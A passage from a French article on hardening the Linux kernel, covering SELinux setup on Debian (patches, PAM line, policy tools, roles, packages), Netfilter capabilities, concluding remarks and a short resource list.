Les patches les plus critiques quant à la sécurité du système sont ceux de init (sysvinit-selinux.patch sous Debian), pam (pam-selinux.patch sous Debian), sshd (openssh-selinux.patch sous Debian) et crond (vixie-cron-selinux.patch sous Debian).

Ces patches chargent la policy et initialisent les contextes de sécurité de l'utilisateur. Il faut également modifier la configuration de pam pour login (fichier /etc/pam.d/login) :

session required pam_selinux.so multiple 

L'outil checkpolicy permet de compiler les sources des policies afin de les traduire en « binaires » reconnus par SELinux. Il est donc nécessaire de lancer cet outil sur les policies créées avant de les importer.

L'outil refpolicy permet, quant à lui, de créer des policies SELinux complètes comme alternatives aux policies strictes disponibles sur les distributions classiques. Il s'agit d'un outil encore en phase de développement, soutenu par l'équipe de « Tresys Technology ». De nombreux contributeurs publient les policies qu'ils ont créées, mettant ainsi à disposition du public un large choix de fichiers. Le page « getting started » du site suivant permet également de se familiariser avec l'écriture de ces fichiers.

A retenir qu'au niveau des policies, les « rôles » suivants sont destinés à des utilisateurs ayant un besoin de capabilities supplémentaires sur le système :

  • staff_r
  • sysadm_r
  • system_r


Tandis que le rôle user_r est destiné aux utilisateurs normaux, ne requérant aucun privilège particulier.

Il est recommandé, en fonction de la distribution Linux retenue, d'installer les packages relatifs à SELinux. Si vous utilisez la distribution Debian par exemple, les paquets suivants sont plus que conseillés pour un fonctionnement optimal :

checkpolicy - SELinux policy compiler
libselinux1 - SELinux shared libraries
libselinux1-dev - SELinux development headers
libsemanage1 - shared libraries used by SELinux policy manipulation tools
libsemanage1-dev - Header files and libraries for SELinux policy manipulation tools
libsepol1 - Security Enhanced Linux policy library for changing policy binaries
polgen - SELinux policy generation scripts
policycoreutils - SELinux core policy utilities
python2.4-selinux - Python2.4 bindings to SELinux shared libraries
python2.4-semanage - Python2.4 bindings for SELinux policy manipulation tools
selinux-basics - SELinux basic support
selinux-doc - documentation for Security-Enhanced Linux
selinux-policy-default - Policy config files and management for NSA Security Enhanced Linux
selinux-utils - SELinux utility programs
slat - Tools for information flow analysis of SELinux policies
polgen-doc - Documentation for SELinux policy generation scripts

Ces paquets vont s'occuper de la partie userland de SELinux, à savoir l'installation de certains patches (notamment sur la libc pour rendre supportable certains hooks propres à SELinux), l'adaptation des fichiers sensibles du système (/etc/passwd, /etc/shadow), afin d'empêcher le super-utilisateur root de les modifier.

Les binaires id et ls (ps -eZ) permettent alors d'afficher les contextes de sécurité et les attributs étendus sur le système de fichiers

En toute fin de configuration, après de multiples tests, l'option enforcing=1 doit être ajoutée dans les options de boot du chargeur au démarrage (lilo ou grub) pour rendre SELinux effectif dès le chargement.

6 Netfilter, conclusions & webographie

La puissance de configuration des rêgles de filtrage avec Netfilter sous les systèmes d'exploitation GNU/Linux n'est plus à prouver mais peu finalement connaissent l'ensemble des fonctionnalités disponibles avec cet outil. Retrouvez également les conclusions de ce dossier sur le renforcement de la sécurité des noyaux Linux ainsi que l'ensemble des adresses de sites web citées.

Les fonctionnalités liées à la sécurité du filtrage, que ce soit au niveau 2 (filtrage MAC/Bridge, ebtables, etc.), ou au niveau 3 (Netfilter et son « appelant » en userland iptables) sont intégrées dans le noyau. La puissance des modifications envisageables est énorme, et il est possible, moyennant temps et expertise, de transformer un serveur Linux en robuste équipement réseau pouvant supporter des charges très importantes.

Netfilter permet, de base, d'effectuer de nombreux traitements sur les paquets qui transitent (chaînes INPUT, OUTPUT, et FORWARD) mais également des modifications (table mangle).

De nouvelles fonctions sont disponibles grâce au paquet patch-o-matic qui permet de rajouter plusieurs fonctions avancées (traitement par UID/GID, pattern-matching, règles réagissant sur des contraintes horaires, etc.).

Nous ne rentrerons pas dans les détails propres à de telles configurations, qui pourraient, à elles seules, faire l'objet de nombreux articles. Le lecteur pourra se référer aux nombreuses ressources disponibles sur Internet.

A noter également l'intégration par défaut d'IPSEC dans les noyaux 2.6.x qui permet de monter des réseaux sécurisés, sur IP, à moindre coût, sans forcément déployer l'arsenal d'IPv6.


Les protections au niveau du noyau Linux, comme nous l'avons vu, permettent de renforcer de façon significative la sécurité globale du système. Elles permettront de réduire à néant les exploitations massives du type script kiddies ou vers (worms). Un attaquant très expérimenté, lors d'une attaque ciblée, pourrait cependant éventuellement trouver le moyen de contourner certaines protections (cf. chapitre sur le contournement d'ASLR).

Le risque zéro en sécurité, nous le savons bien, n'existe pas et les moyens de protection sont souvent maltraités par les chercheurs puis rendus obsolètes après quelques années seulement.

Un serveur Linux placé sur une zone considérée comme non sure (Internet en fait partie évidemment) devrait systématiquement intégrer l'un de ces renforcements noyau. Il est possible, en combinant ces protections, avec une politique de sécurité correctement définie (politique de mots de passe, de mises à jour, etc.) d'atteindre une limite très poussée.

Le dernier facteur, et non le moins important, devient alors « humain » : social engineering, fuites d'informations, et bien évidemment moyens de protections physiques... Mais avant d'en arriver à ce niveau de sécurisation, il reste un grand travail à effectuer sur les moyens de protections logiques !

A noter que certaines distributions spécialisées sont tournées vers ces « hauts niveaux de sécurité ». L'une des plus connues il a quelques temps étant Adamantix, sur une base de Debian, qui n'est plus maintenue à l'heure actuelle ... Avis aux amateurs !

7 Ressources

Article SecuObs
Sécurisation de son noyau avec Grsecurity et PaX